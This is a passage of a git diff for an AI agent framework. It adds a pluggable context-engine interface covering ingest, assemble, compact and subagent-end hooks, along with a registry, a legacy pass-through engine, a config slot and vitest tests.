(params.contextEngine) { + try { + const assembled = await params.contextEngine.assemble({ + sessionId: params.sessionId, + messages: activeSession.messages, + tokenBudget: params.contextTokenBudget, + }); + if (assembled.messages !== activeSession.messages) { + activeSession.agent.replaceMessages(assembled.messages); + } + if (assembled.systemPromptAddition) { + systemPromptText = prependSystemPromptAddition({ + systemPrompt: systemPromptText, + systemPromptAddition: assembled.systemPromptAddition, + }); + applySystemPromptOverrideToSession(activeSession, systemPromptText); + log.debug( + `context engine: prepended system prompt addition (${assembled.systemPromptAddition.length} chars)`, + ); + } + } catch (assembleErr) { + log.warn( + `context engine assemble failed, using pipeline messages: ${String(assembleErr)}`, + ); + } + } } catch (err) { await flushPendingToolResultsAfterIdle({ agent: activeSession?.agent, @@ -1515,6 +1613,7 @@ export async function runEmbeddedAttempt( let promptError: unknown = null; let promptErrorSource: "prompt" | "compaction" | null = null; + const prePromptMessageCount = activeSession.messages.length; try { const promptStartedAt = Date.now(); @@ -1772,6 +1871,56 @@ export async function runEmbeddedAttempt( } } + // Let the active context engine run its post-turn lifecycle. + if (params.contextEngine) { + const afterTurnLegacyCompactionParams = buildAfterTurnLegacyCompactionParams({ + attempt: params, + workspaceDir: effectiveWorkspace, + agentDir, + }); + + if (typeof params.contextEngine.afterTurn === "function") { + try { + await params.contextEngine.afterTurn({ + sessionId: sessionIdUsed, + sessionFile: params.sessionFile, + messages: messagesSnapshot, + prePromptMessageCount, + tokenBudget: params.contextTokenBudget, + legacyCompactionParams: afterTurnLegacyCompactionParams, + }); + } catch (afterTurnErr) { + log.warn(`context engine afterTurn failed: ${String(afterTurnErr)}`); + } + } else { + // Fallback: ingest new messages individually + const newMessages = messagesSnapshot.slice(prePromptMessageCount); + if (newMessages.length > 0) { + if (typeof params.contextEngine.ingestBatch === "function") { + try { + await params.contextEngine.ingestBatch({ + sessionId: sessionIdUsed, + messages: newMessages, + }); + } catch (ingestErr) { + log.warn(`context engine ingest failed: ${String(ingestErr)}`); + } + } else { + for (const msg of newMessages) { + try { + await params.contextEngine.ingest({ + sessionId: sessionIdUsed, + message: msg, + }); + } catch (ingestErr) { + log.warn(`context engine ingest failed: ${String(ingestErr)}`); + } + } + } + } + } + } + cacheTrace?.recordStage("session:after", { messages: messagesSnapshot, note: timedOutDuringCompaction diff --git a/src/agents/pi-embedded-runner/run/types.ts b/src/agents/pi-embedded-runner/run/types.ts index 35251edd807..dff5aa6f251 100644 --- a/src/agents/pi-embedded-runner/run/types.ts +++ b/src/agents/pi-embedded-runner/run/types.ts @@ -3,6 +3,7 @@ import type { Api, AssistantMessage, Model } from "@mariozechner/pi-ai"; import type { AuthStorage, ModelRegistry } from "@mariozechner/pi-coding-agent"; import type { ThinkLevel } from "../../../auto-reply/thinking.js"; import type { SessionSystemPromptReport } from "../../../config/sessions/types.js"; +import type { ContextEngine } from "../../../context-engine/types.js"; import type { PluginHookBeforeAgentStartResult } from "../../../plugins/types.js"; import type { MessagingToolSend } from "../../pi-embedded-messaging.js"; import type { NormalizedUsage } from "../../usage.js"; @@ -14,6 +15,14 @@ type EmbeddedRunAttemptBase = Omit< >; export type EmbeddedRunAttemptParams = EmbeddedRunAttemptBase & { + /** Pluggable context engine for ingest/assemble/compact lifecycle. */ + contextEngine?: ContextEngine; + /** Resolved model context window in tokens for assemble/compact budgeting. */ + contextTokenBudget?: number; + /** Auth profile resolved for this attempt's provider/model call. */ + authProfileId?: string; + /** Source for the resolved auth profile (user-locked or automatic). */ + authProfileIdSource?: "auto" | "user"; provider: string; modelId: string; model: Model; diff --git a/src/agents/pi-settings.ts b/src/agents/pi-settings.ts index 3ea4c5d5b51..f1b66c6ea61 100644 --- a/src/agents/pi-settings.ts +++ b/src/agents/pi-settings.ts @@ -1,4 +1,5 @@ import type { OpenClawConfig } from "../config/config.js"; +import type { ContextEngineInfo } from "../context-engine/types.js"; export const DEFAULT_PI_COMPACTION_RESERVE_TOKENS_FLOOR = 20_000; @@ -11,6 +12,7 @@ type PiSettingsManagerLike = { keepRecentTokens?: number; }; }) => void; + setCompactionEnabled?: (enabled: boolean) => void; }; export function ensurePiCompactionReserveTokens(params: { @@ -95,3 +97,26 @@ export function applyPiCompactionSettingsFromConfig(params: { }, }; } + +/** Decide whether Pi's internal auto-compaction should be disabled for this run. */ +export function shouldDisablePiAutoCompaction(params: { + contextEngineInfo?: ContextEngineInfo; +}): boolean { + return params.contextEngineInfo?.ownsCompaction === true; +} + +/** Disable Pi auto-compaction via settings when a context engine owns compaction. */ +export function applyPiAutoCompactionGuard(params: { + settingsManager: PiSettingsManagerLike; + contextEngineInfo?: ContextEngineInfo; +}): { supported: boolean; disabled: boolean } { + const disable = shouldDisablePiAutoCompaction({ + contextEngineInfo: params.contextEngineInfo, + }); + const hasMethod = typeof params.settingsManager.setCompactionEnabled === "function"; + if (!disable || !hasMethod) { + return { supported: hasMethod, disabled: false }; + } + params.settingsManager.setCompactionEnabled!(false); + return { supported: true, disabled: true }; +} diff --git a/src/agents/subagent-registry.ts b/src/agents/subagent-registry.ts index 906a8424ff8..e2453bcc0fd 100644 --- a/src/agents/subagent-registry.ts +++ b/src/agents/subagent-registry.ts @@ -8,8 +8,12 @@ import { resolveStorePath, type SessionEntry, } from "../config/sessions.js"; +import { ensureContextEnginesInitialized } from "../context-engine/init.js"; +import { resolveContextEngine } from "../context-engine/registry.js"; +import type { SubagentEndReason } from "../context-engine/types.js"; import { callGateway } from "../gateway/call.js"; import { onAgentEvent } from "../infra/agent-events.js"; +import { createSubsystemLogger } from "../logging/subsystem.js"; import { defaultRuntime } from "../runtime.js"; import { type DeliveryContext, normalizeDeliveryContext } from "../utils/delivery-context.js"; import { resetAnnounceQueuesForTests } from "./subagent-announce-queue.js"; @@ -54,6 +58,7 @@ import type { SubagentRunRecord } from "./subagent-registry.types.js"; import { resolveAgentTimeoutMs } from "./timeout.js"; export type { SubagentRunRecord } from "./subagent-registry.types.js"; +const log = createSubsystemLogger("agents/subagent-registry"); const subagentRuns = new Map(); let sweeper: NodeJS.Timeout | null = null; @@ -305,6 +310,22 @@ function schedulePendingLifecycleError(params: { runId: string; endedAt: number; }); } +async function notifyContextEngineSubagentEnded(params: { + childSessionKey: string; + reason: SubagentEndReason; +}) { + try { + ensureContextEnginesInitialized(); + const engine = await resolveContextEngine(loadConfig()); + if (!engine.onSubagentEnded) { + return; + } + await engine.onSubagentEnded(params); + } catch (err) { + log.warn("context-engine onSubagentEnded failed (best-effort)", { err }); + } +} + function suppressAnnounceForSteerRestart(entry?: SubagentRunRecord) { return entry?.suppressAnnounceReason === "steer-restart"; } @@ -690,6 +711,10 @@ async function sweepSubagentRuns() { continue; } clearPendingLifecycleError(runId); + void notifyContextEngineSubagentEnded({ + childSessionKey: entry.childSessionKey, + reason: "swept", + }); subagentRuns.delete(runId); mutated = true; // Archive/purge is terminal for the run record; remove any retained attachments too. @@ -894,9 +919,8 @@ async function finalizeSubagentCleanup( return; } - // Allow retry on the next wake if announce was deferred or failed. - // Applies to both keep/delete cleanup modes so delete-runs are only removed - // after a successful announce (or terminal give-up). + // Keep both cleanup modes retryable after deferred/failed announce. + // Delete-mode is finalized only after announce succeeds or give-up triggers. entry.cleanupHandled = false; // Clear the in-flight resume marker so the scheduled retry can run again. resumedRuns.delete(runId); @@ -936,11 +960,19 @@ function completeCleanupBookkeeping(params: { }) { if (params.cleanup === "delete") { clearPendingLifecycleError(params.runId); + void notifyContextEngineSubagentEnded({ + childSessionKey: params.entry.childSessionKey, + reason: "deleted", + }); subagentRuns.delete(params.runId); persistSubagentRuns(); retryDeferredCompletedAnnounces(params.runId); return; } + void notifyContextEngineSubagentEnded({ + childSessionKey: params.entry.childSessionKey, + reason: "completed", + }); params.entry.cleanupCompletedAt = params.completedAt; persistSubagentRuns(); retryDeferredCompletedAnnounces(params.runId); @@ -1248,6 +1280,13 @@ export function addSubagentRunForTests(entry: SubagentRunRecord) { export function releaseSubagentRun(runId: string) { clearPendingLifecycleError(runId); + const entry = subagentRuns.get(runId); + if (entry) { + void notifyContextEngineSubagentEnded({ + childSessionKey: entry.childSessionKey, + reason: "released", + }); + } const didDelete = subagentRuns.delete(runId); if (didDelete) { persistSubagentRuns(); diff --git a/src/config/config-misc.test.ts b/src/config/config-misc.test.ts index 29efaa2b136..b46b5b49766 100644 --- a/src/config/config-misc.test.ts +++ b/src/config/config-misc.test.ts @@ -31,6 +31,19 @@ describe("$schema key in config (#14998)", () => { }); }); +describe("plugins.slots.contextEngine", () => { + it("accepts a contextEngine slot id", () => { + const result = OpenClawSchema.safeParse({ + plugins: { + slots: { + contextEngine: "my-context-engine", + }, + }, + }); + expect(result.success).toBe(true); + }); +}); + describe("ui.seamColor", () => { it("accepts hex colors", () => { const res = validateConfigObject({ ui: { seamColor: "#FF4500" } }); diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index 911d08620e2..39a43d46acb 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -927,6 +927,8 @@ export const FIELD_HELP: Record = { "Selects which plugins own exclusive runtime slots such as memory so only one plugin provides that capability. Use explicit slot ownership to avoid overlapping providers with conflicting behavior.", "plugins.slots.memory": 'Select the active memory plugin by id, or "none" to disable memory plugins.', + "plugins.slots.contextEngine": + "Selects the active context engine plugin by id so one plugin provides context orchestration behavior.", "plugins.entries": "Per-plugin settings keyed by plugin ID including enablement and plugin-specific runtime configuration payloads. Use this for scoped plugin tuning without changing global loader policy.", "plugins.entries.*.enabled": diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index 9454df66fb1..64d444aab47 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -817,6 +817,7 @@ export const FIELD_LABELS: Record = { "plugins.load.paths": "Plugin Load Paths", "plugins.slots": "Plugin Slots", "plugins.slots.memory": "Memory Plugin", + "plugins.slots.contextEngine": "Context Engine Plugin", "plugins.entries": "Plugin Entries", "plugins.entries.*.enabled": "Plugin Enabled", "plugins.entries.*.hooks": "Plugin Hook Policy", diff --git a/src/config/types.plugins.ts b/src/config/types.plugins.ts index 5244795d51e..323946dd541 100644 --- a/src/config/types.plugins.ts +++ b/src/config/types.plugins.ts @@ -10,6 +10,8 @@ export type PluginEntryConfig = { export type PluginSlotsConfig = { /** Select which plugin owns the memory slot ("none" disables memory plugins). */ memory?: string; + /** Select which plugin owns the context-engine slot. */ + contextEngine?: string; }; export type PluginsLoadConfig = { diff --git a/src/config/zod-schema.ts b/src/config/zod-schema.ts index 4d49e0428e4..033044238e8 100644 --- a/src/config/zod-schema.ts +++ b/src/config/zod-schema.ts @@ -829,6 +829,7 @@ export const OpenClawSchema = z slots: z .object({ memory: z.string().optional(), + contextEngine: z.string().optional(), }) .strict() .optional(), diff --git a/src/context-engine/context-engine.test.ts b/src/context-engine/context-engine.test.ts new file mode 100644 index 00000000000..022fdc14cc8 --- /dev/null +++ b/src/context-engine/context-engine.test.ts @@ -0,0 +1,337 @@ +import type { AgentMessage } from "@mariozechner/pi-agent-core"; +import { describe, expect, it, beforeEach } from "vitest"; +// --------------------------------------------------------------------------- +// We dynamically import the registry so we can get a fresh module per test +// group when needed. For most groups we use the shared singleton directly. +// --------------------------------------------------------------------------- +import { LegacyContextEngine, registerLegacyContextEngine } from "./legacy.js"; +import { + registerContextEngine, + getContextEngineFactory, + listContextEngineIds, + resolveContextEngine, +} from "./registry.js"; +import type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, +} from "./types.js"; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +/** Build a config object with a contextEngine slot for testing. */ +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function configWithSlot(engineId: string): any { + return { plugins: { slots: { contextEngine: engineId } } }; +} + +function makeMockMessage(role: "user" | "assistant" = "user", text = "hello"): AgentMessage { + return { role, content: text, timestamp: Date.now() } as AgentMessage; +} + +/** A minimal mock engine that satisfies the ContextEngine interface. */ +class MockContextEngine implements ContextEngine { + readonly info: ContextEngineInfo = { + id: "mock", + name: "Mock Engine", + version: "0.0.1", + }; + + async ingest(_params: { + sessionId: string; + message: AgentMessage; + isHeartbeat?: boolean; + }): Promise { + return { ingested: true }; + } + + async assemble(params: { + sessionId: string; + messages: AgentMessage[]; + tokenBudget?: number; + }): Promise { + return { + messages: params.messages, + estimatedTokens: 42, + systemPromptAddition: "mock system addition", + }; + } + + async compact(_params: { + sessionId: string; + sessionFile: string; + tokenBudget?: number; + compactionTarget?: "budget" | "threshold"; + customInstructions?: string; + legacyParams?: Record; + }): Promise { + return { + ok: true, + compacted: true, + reason: "mock compaction", + result: { + summary: "mock summary", + tokensBefore: 100, + tokensAfter: 50, + }, + }; + } + + async dispose(): Promise { + // no-op + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// 1. Engine contract tests +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Engine contract tests", () => { + it("a mock engine implementing ContextEngine can be registered and resolved", async () => { + const factory = () => new MockContextEngine(); + registerContextEngine("mock", factory); + + const resolved = getContextEngineFactory("mock"); + expect(resolved).toBe(factory); + + const engine = await resolved!(); + expect(engine).toBeInstanceOf(MockContextEngine); + expect(engine.info.id).toBe("mock"); + }); + + it("ingest() returns IngestResult with ingested boolean", async () => { + const engine = new MockContextEngine(); + const result = await engine.ingest({ + sessionId: "s1", + message: makeMockMessage(), + }); + + expect(result).toHaveProperty("ingested"); + expect(typeof result.ingested).toBe("boolean"); + expect(result.ingested).toBe(true); + }); + + it("assemble() returns AssembleResult with messages array and estimatedTokens", async () => { + const engine = new MockContextEngine(); + const msgs = [makeMockMessage(), makeMockMessage("assistant", "world")]; + const result = await engine.assemble({ + sessionId: "s1", + messages: msgs, + }); + + expect(Array.isArray(result.messages)).toBe(true); + expect(result.messages).toHaveLength(2); + expect(typeof result.estimatedTokens).toBe("number"); + expect(result.estimatedTokens).toBe(42); + expect(result.systemPromptAddition).toBe("mock system addition"); + }); + + it("compact() returns CompactResult with ok, compacted, reason, result fields", async () => { + const engine = new MockContextEngine(); + const result = await engine.compact({ + sessionId: "s1", + sessionFile: "/tmp/session.json", + }); + + expect(typeof result.ok).toBe("boolean"); + expect(typeof result.compacted).toBe("boolean"); + expect(result.ok).toBe(true); + expect(result.compacted).toBe(true); + expect(result.reason).toBe("mock compaction"); + expect(result.result).toBeDefined(); + expect(result.result!.summary).toBe("mock summary"); + expect(result.result!.tokensBefore).toBe(100); + expect(result.result!.tokensAfter).toBe(50); + }); + + it("dispose() is callable (optional method)", async () => { + const engine = new MockContextEngine(); + // Should complete without error + await expect(engine.dispose()).resolves.toBeUndefined(); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 2. Registry tests +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Registry tests", () => { + it("registerContextEngine() stores a factory", () => { + const factory = () => new MockContextEngine(); + registerContextEngine("reg-test-1", factory); + + expect(getContextEngineFactory("reg-test-1")).toBe(factory); + }); + + it("getContextEngineFactory() returns the factory", () => { + const factory = () => new MockContextEngine(); + registerContextEngine("reg-test-2", factory); + + const retrieved = getContextEngineFactory("reg-test-2"); + expect(retrieved).toBe(factory); + expect(typeof retrieved).toBe("function"); + }); + + it("listContextEngineIds() returns all registered ids", () => { + // Ensure at least our test entries exist + registerContextEngine("reg-test-a", () => new MockContextEngine()); + registerContextEngine("reg-test-b", () => new MockContextEngine()); + + const ids = listContextEngineIds(); + expect(ids).toContain("reg-test-a"); + expect(ids).toContain("reg-test-b"); + expect(Array.isArray(ids)).toBe(true); + }); + + it("registering the same id overwrites the previous factory", () => { + const factory1 = () => new MockContextEngine(); + const factory2 = () => new MockContextEngine(); + + registerContextEngine("reg-overwrite", factory1); + expect(getContextEngineFactory("reg-overwrite")).toBe(factory1); + + registerContextEngine("reg-overwrite", factory2); + expect(getContextEngineFactory("reg-overwrite")).toBe(factory2); + expect(getContextEngineFactory("reg-overwrite")).not.toBe(factory1); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 3. Default engine selection +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Default engine selection", () => { + // Ensure both legacy and a custom test engine are registered before these tests. + beforeEach(() => { + // Registration is idempotent (Map.set), so calling again is safe. + registerLegacyContextEngine(); + // Register a lightweight custom stub so we don't need external resources. + registerContextEngine("test-engine", () => { + const engine: ContextEngine = { + info: { id: "test-engine", name: "Custom Test Engine", version: "0.0.0" }, + async ingest() { + return { ingested: true }; + }, + async assemble({ messages }) { + return { messages, estimatedTokens: 0 }; + }, + async compact() { + return { ok: true, compacted: false }; + }, + }; + return engine; + }); + }); + + it("resolveContextEngine() with no config returns the default ('legacy') engine", async () => { + const engine = await resolveContextEngine(); + expect(engine.info.id).toBe("legacy"); + }); + + it("resolveContextEngine() with config contextEngine='legacy' returns legacy engine", async () => { + const engine = await resolveContextEngine(configWithSlot("legacy")); + expect(engine.info.id).toBe("legacy"); + }); + + it("resolveContextEngine() with config contextEngine='test-engine' returns the custom engine", async () => { + const engine = await resolveContextEngine(configWithSlot("test-engine")); + expect(engine.info.id).toBe("test-engine"); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 4. Invalid engine fallback +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Invalid engine fallback", () => { + it("resolveContextEngine() with config pointing to unregistered engine throws with helpful error", async () => { + await expect(resolveContextEngine(configWithSlot("nonexistent-engine"))).rejects.toThrow( + /nonexistent-engine/, + ); + }); + + it("error message includes the requested id and available ids", async () => { + // Ensure at least legacy is registered so we see it in the available list + registerLegacyContextEngine(); + + try { + await resolveContextEngine(configWithSlot("does-not-exist")); + // Should not reach here + expect.unreachable("Expected resolveContextEngine to throw"); + } catch (err: unknown) { + const message = err instanceof Error ? err.message : String(err); + expect(message).toContain("does-not-exist"); + expect(message).toContain("not registered"); + // Should mention available engines + expect(message).toMatch(/Available engines:/); + // At least "legacy" should be listed as available + expect(message).toContain("legacy"); + } + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 5. LegacyContextEngine parity +// ═══════════════════════════════════════════════════════════════════════════ + +describe("LegacyContextEngine parity", () => { + it("ingest() returns { ingested: false } (no-op)", async () => { + const engine = new LegacyContextEngine(); + const result = await engine.ingest({ + sessionId: "s1", + message: makeMockMessage(), + }); + + expect(result).toEqual({ ingested: false }); + }); + + it("assemble() returns messages as-is (pass-through)", async () => { + const engine = new LegacyContextEngine(); + const messages = [ + makeMockMessage("user", "first"), + makeMockMessage("assistant", "second"), + makeMockMessage("user", "third"), + ]; + + const result = await engine.assemble({ + sessionId: "s1", + messages, + }); + + // Messages should be the exact same array reference (pass-through) + expect(result.messages).toBe(messages); + expect(result.messages).toHaveLength(3); + expect(result.estimatedTokens).toBe(0); + expect(result.systemPromptAddition).toBeUndefined(); + }); + + it("dispose() completes without error", async () => { + const engine = new LegacyContextEngine(); + await expect(engine.dispose()).resolves.toBeUndefined(); + }); +}); + +// ═══════════════════════════════════════════════════════════════════════════ +// 6. Initialization guard +// ═══════════════════════════════════════════════════════════════════════════ + +describe("Initialization guard", () => { + it("ensureContextEnginesInitialized() is idempotent (calling twice does not throw)", async () => { + const { ensureContextEnginesInitialized } = await import("./init.js"); + + expect(() => ensureContextEnginesInitialized()).not.toThrow(); + expect(() => ensureContextEnginesInitialized()).not.toThrow(); + }); + + it("after init, 'legacy' engine is registered", async () => { + const { ensureContextEnginesInitialized } = await import("./init.js"); + ensureContextEnginesInitialized(); + + const ids = listContextEngineIds(); + expect(ids).toContain("legacy"); + }); +}); diff --git a/src/context-engine/index.ts b/src/context-engine/index.ts new file mode 100644 index 00000000000..fa3193d4030 --- /dev/null +++ b/src/context-engine/index.ts @@ -0,0 +1,19 @@ +export type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, +} from "./types.js"; + +export { + registerContextEngine, + getContextEngineFactory, + listContextEngineIds, + resolveContextEngine, +} from "./registry.js"; +export type { ContextEngineFactory } from "./registry.js"; + +export { LegacyContextEngine, registerLegacyContextEngine } from "./legacy.js"; + +export { ensureContextEnginesInitialized } from "./init.js"; diff --git a/src/context-engine/init.ts b/src/context-engine/init.ts new file mode 100644 index 00000000000..1052e4b3677 --- /dev/null +++ b/src/context-engine/init.ts @@ -0,0 +1,23 @@ +import { registerLegacyContextEngine } from "./legacy.js"; + +/** + * Ensures all built-in context engines are registered exactly once. + * + * The legacy engine is always registered as a safe fallback so that + * `resolveContextEngine()` can resolve the default "legacy" slot without + * callers needing to remember manual registration. + * + * Additional engines are registered by their own plugins via + * `api.registerContextEngine()` during plugin load. + */ +let initialized = false; + +export function ensureContextEnginesInitialized(): void { + if (initialized) { + return; + } + initialized = true; + + // Always available – safe fallback for the "legacy" slot default. + registerLegacyContextEngine(); +} diff --git a/src/context-engine/legacy.ts b/src/context-engine/legacy.ts new file mode 100644 index 00000000000..ba05c9e8b8d --- /dev/null +++ b/src/context-engine/legacy.ts @@ -0,0 +1,115 @@ +import type { AgentMessage } from "@mariozechner/pi-agent-core"; +import { registerContextEngine } from "./registry.js"; +import type { + ContextEngine, + ContextEngineInfo, + AssembleResult, + CompactResult, + IngestResult, +} from "./types.js"; + +/** + * LegacyContextEngine wraps the existing compaction behavior behind the + * ContextEngine interface, preserving 100% backward compatibility. + * + * - ingest: no-op (SessionManager handles message persistence) + * - assemble: pass-through (existing sanitize/validate/limit pipeline in attempt.ts handles this) + * - compact: delegates to compactEmbeddedPiSessionDirect + */ +export class LegacyContextEngine implements ContextEngine { + readonly info: ContextEngineInfo = { + id: "legacy", + name: "Legacy Context Engine", + version: "1.0.0", + }; + + async ingest(_params: { + sessionId: string; + message: AgentMessage; + isHeartbeat?: boolean; + }): Promise { + // No-op: SessionManager handles message persistence in the legacy flow + return { ingested: false }; + } + + async assemble(params: { + sessionId: string; + messages: AgentMessage[]; + tokenBudget?: number; + }): Promise { + // Pass-through: the existing sanitize -> validate -> limit -> repair pipeline + // in attempt.ts handles context assembly for the legacy engine. + // We just return the messages as-is with a rough token estimate. + return { + messages: params.messages, + estimatedTokens: 0, // Caller handles estimation + }; + } + + async afterTurn(_params: { + sessionId: string; + sessionFile: string; + messages: AgentMessage[]; + prePromptMessageCount: number; + autoCompactionSummary?: string; + isHeartbeat?: boolean; + tokenBudget?: number; + legacyCompactionParams?: Record; + }): Promise { + // No-op: legacy flow persists context directly in SessionManager. + } + + async compact(params: { + sessionId: string; + sessionFile: string; + tokenBudget?: number; + force?: boolean; + currentTokenCount?: number; + compactionTarget?: "budget" | "threshold"; + customInstructions?: string; + legacyParams?: Record; + }): Promise { + // Import dynamically to avoid circular dependencies + const { compactEmbeddedPiSessionDirect } = + await import("../agents/pi-embedded-runner/compact.js"); + + // legacyParams carries the full CompactEmbeddedPiSessionParams fields + // set by the caller in run.ts. We spread them and override the fields + // that come from the ContextEngine compact() signature directly. + const lp = params.legacyParams ?? {}; + + // eslint-disable-next-line @typescript-eslint/no-explicit-any -- legacy bridge: legacyParams is an opaque bag matching CompactEmbeddedPiSessionParams + const result = await compactEmbeddedPiSessionDirect({ + ...lp, + sessionId: params.sessionId, + sessionFile: params.sessionFile, + tokenBudget: params.tokenBudget, + force: params.force, + customInstructions: params.customInstructions, + workspaceDir: (lp.workspaceDir as string) ?? process.cwd(), + } as Parameters[0]); + + return { + ok: result.ok, + compacted: result.compacted, + reason: result.reason, + result: result.result + ? { + summary: result.result.summary, + firstKeptEntryId: result.result.firstKeptEntryId, + tokensBefore: result.result.tokensBefore, + tokensAfter: result.result.tokensAfter, + details: result.result.details, + } + : undefined, + }; + } + + async dispose(): Promise { + // Nothing to clean up for legacy engine + } +} + +export function registerLegacyContextEngine(): void { + registerContextEngine("legacy", () => new LegacyContextEngine()); +} diff --git a/src/context-engine/registry.ts b/src/context-engine/registry.ts new file mode 100644 index 00000000000..49bf34bfbb3 --- /dev/null +++ b/src/context-engine/registry.ts @@ -0,0 +1,67 @@ +import type { OpenClawConfig } from "../config/config.js"; +import { defaultSlotIdForKey } from "../plugins/slots.js"; +import type { ContextEngine } from "./types.js"; + +/** + * A factory that creates a ContextEngine instance. + * Supports async creation for engines that need DB connections etc. + */ +export type ContextEngineFactory = () => ContextEngine | Promise; + +// --------------------------------------------------------------------------- +// Registry (module-level singleton) +// --------------------------------------------------------------------------- + +const _engines = new Map(); + +/** + * Register a context engine implementation under the given id. + */ +export function registerContextEngine(id: string, factory: ContextEngineFactory): void { + _engines.set(id, factory); +} + +/** + * Return the factory for a registered engine, or undefined. + */ +export function getContextEngineFactory(id: string): ContextEngineFactory | undefined { + return _engines.get(id); +} + +/** + * List all registered engine ids. + */ +export function listContextEngineIds(): string[] { + return [..._engines.keys()]; +} + +// --------------------------------------------------------------------------- +// Resolution +// --------------------------------------------------------------------------- + +/** + * Resolve which ContextEngine to use based on plugin slot configuration. + * + * Resolution order: + * 1. `config.plugins.slots.contextEngine` (explicit slot override) + * 2. Default slot value ("legacy") + * + * Throws if the resolved engine id has no registered factory. + */ +export async function resolveContextEngine(config?: OpenClawConfig): Promise { + const slotValue = config?.plugins?.slots?.contextEngine; + const engineId = + typeof slotValue === "string" && slotValue.trim() + ? slotValue.trim() + : defaultSlotIdForKey("contextEngine"); + + const factory = _engines.get(engineId); + if (!factory) { + throw new Error( + `Context engine "${engineId}" is not registered. ` + + `Available engines: ${listContextEngineIds().join(", ") || "(none)"}`, + ); + } + + return factory(); +} diff --git a/src/context-engine/types.ts b/src/context-engine/types.ts new file mode 100644 index 00000000000..525c673b092 --- /dev/null +++ b/src/context-engine/types.ts @@ -0,0 +1,167 @@ +import type { AgentMessage } from "@mariozechner/pi-agent-core"; + +// Result types + +export type AssembleResult = { + /** Ordered messages to use as model context */ + messages: AgentMessage[]; + /** Estimated total tokens in assembled context */ + estimatedTokens: number; + /** Optional context-engine-provided instructions prepended to the runtime system prompt */ + systemPromptAddition?: string; +}; + +export type CompactResult = { + ok: boolean; + compacted: boolean; + reason?: string; + result?: { + summary?: string; + firstKeptEntryId?: string; + tokensBefore: number; + tokensAfter?: number; + details?: unknown; + }; +}; + +export type IngestResult = { + /** Whether the message was ingested (false if duplicate or no-op) */ + ingested: boolean; +}; + +export type IngestBatchResult = { + /** Number of messages ingested from the supplied batch */ + ingestedCount: number; +}; + +export type BootstrapResult = { + /** Whether bootstrap ran and initialized the engine's store */ + bootstrapped: boolean; + /** Number of historical messages imported (if applicable) */ + importedMessages?: number; + /** Optional reason when bootstrap was skipped */ + reason?: string; +}; + +export type ContextEngineInfo = { + id: string; + name: string; + version?: string; + /** True when the engine manages its own compaction lifecycle. */ + ownsCompaction?: boolean; +}; + +export type SubagentSpawnPreparation = { + /** Roll back pre-spawn setup when subagent launch fails. */ + rollback: () => void | Promise; +}; + +export type SubagentEndReason = "deleted" | "completed" | "swept" | "released"; + +/** + * ContextEngine defines the pluggable contract for context management. + * + * Required methods define a generic lifecycle; optional methods allow engines + * to provide additional capabilities (retrieval, lineage, etc.). + */ +export interface ContextEngine { + /** Engine identifier and metadata */ + readonly info: ContextEngineInfo; + + /** + * Initialize engine state for a session, optionally importing historical context. + */ + bootstrap?(params: { sessionId: string; sessionFile: string }): Promise; + + /** + * Ingest a single message into the engine's store. + */ + ingest(params: { + sessionId: string; + message: AgentMessage; + /** True when the message belongs to a heartbeat run. */ + isHeartbeat?: boolean; + }): Promise; + + /** + * Ingest a completed turn batch as a single unit. + */ + ingestBatch?(params: { + sessionId: string; + messages: AgentMessage[]; + /** True when the batch belongs to a heartbeat run. */ + isHeartbeat?: boolean; + }): Promise; + + /** + * Execute optional post-turn lifecycle work after a run attempt completes. + * Engines can use this to persist canonical context and trigger background + * compaction decisions. + */ + afterTurn?(params: { + sessionId: string; + sessionFile: string; + messages: AgentMessage[]; + /** Number of messages that existed before the prompt was sent. */ + prePromptMessageCount: number; + /** Optional auto-compaction summary emitted by the runtime. */ + autoCompactionSummary?: string; + /** True when this turn belongs to a heartbeat run. */ + isHeartbeat?: boolean; + /** Optional model context token budget for proactive compaction. */ + tokenBudget?: number; + /** Backward-compat only: legacy compaction bridge runtime params. */ + legacyCompactionParams?: Record; + }): Promise; + + /** + * Assemble model context under a token budget. + * Returns an ordered set of messages ready for the model. + */ + assemble(params: { + sessionId: string; + messages: AgentMessage[]; + tokenBudget?: number; + }): Promise; + + /** + * Compact context to reduce token usage. + * May create summaries, prune old turns, etc. + */ + compact(params: { + sessionId: string; + sessionFile: string; + tokenBudget?: number; + /** Backward-compat only: force legacy compaction behavior even below threshold. */ + force?: boolean; + /** Optional live token estimate from the caller's active context. */ + currentTokenCount?: number; + /** Controls convergence target; defaults to budget for compatibility. */ + compactionTarget?: "budget" | "threshold"; + customInstructions?: string; + /** Backward-compat only: full params bag for legacy compaction bridge. */ + legacyParams?: Record; + }): Promise; + + /** + * Prepare context-engine-managed subagent state before the child run starts. + * + * Implementations can return a rollback handle that is invoked when spawn + * fails after preparation succeeds. + */ + prepareSubagentSpawn?(params: { + parentSessionKey: string; + childSessionKey: string; + ttlMs?: number; + }): Promise; + + /** + * Notify the context engine that a subagent lifecycle ended. + */ + onSubagentEnded?(params: { childSessionKey: string; reason: SubagentEndReason }): Promise; + + /** + * Dispose of any resources held by the engine. + */ + dispose?(): Promise; +} diff --git a/src/cron/isolated-agent.model-formatting.test.ts b/src/cron/isolated-agent.model-formatting.test.ts new file mode 100644 index 00000000000..bfd751664af --- /dev/null +++ b/src/cron/isolated-agent.model-formatting.test.ts @@ -0,0 +1,541 @@ +import "./isolated-agent.mocks.js"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { loadModelCatalog } from "../agents/model-catalog.js"; +import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; +import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; 